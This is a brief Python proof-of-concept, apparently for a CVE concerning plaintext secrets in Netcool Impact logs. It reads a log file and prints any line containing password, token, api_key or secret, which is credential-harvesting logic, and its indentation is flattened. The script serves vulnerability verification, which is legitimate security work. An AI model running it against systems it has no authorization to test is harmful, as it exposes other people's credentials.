The following code is for security research and authorized testing only.
python
import os
# Proof of Concept (PoC) for CVE-2026-4788
# This script simulates reading sensitive information from log files.
LOG_PATH = "/var/log/netcool/impact.log" # Example log path
SENSITIVE_KEYWORDS = ["password", "token", "api_key", "secret"]
def check_log_leak():
if not os.path.exists(LOG_PATH):
print(f"[-] Log file not found at {LOG_PATH}")
return
print(f"[*] Reading log file: {LOG_PATH}")
with open(LOG_PATH, 'r', encoding='utf-8', errors='ignore') as f:
content = f.read()
found = False
for line in content.split('\n'):
# Check if line contains sensitive keywords
if any(keyword in line.lower() for keyword in SENSITIVE_KEYWORDS):
print(f"[!] Potential sensitive data found: {line.strip()}")
found = True
if not found:
print("[*] No obvious sensitive keywords found in this sample.")
else:
print("[+] Vulnerability confirmed: Sensitive data is logged in plaintext.")
if __name__ == "__main__":
check_log_leak()